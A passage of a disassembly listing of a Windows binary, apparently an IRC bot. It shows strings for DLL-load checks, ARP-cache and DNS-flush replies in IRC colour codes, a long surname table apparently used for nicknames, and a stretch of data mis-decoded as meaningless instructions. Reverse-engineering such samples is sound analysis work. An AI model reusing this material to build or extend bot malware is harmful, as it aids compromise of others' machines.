3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" ; --------------------------------------------------------------------------- loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j js short loc_42E3C8 inc edx add [esi+edi*8+42h], ch add [eax-2], ah inc edx add [esi+edi*8+42h], dl add [eax-2], cl inc edx add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [esi+edi*8], ch inc edx add [esi+edi*8], ah inc edx add [esi+edi*8], bl inc edx add [esi+edi*8], dl inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add al, dh std inc edx add al, ch std inc edx add al, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [eax-4FFFBD03h], bh std inc edx add [ebp+edi*8-263FFBEh], ah inc edx add [eax-7BFFBD03h], dl std inc edx add [ebp+edi*8+42h], bh add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add ds:0FD280042h[edi*8], dh inc edx add [eax], ah std inc edx add [eax], bl std inc edx add ds:0FD0C0042h[edi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset 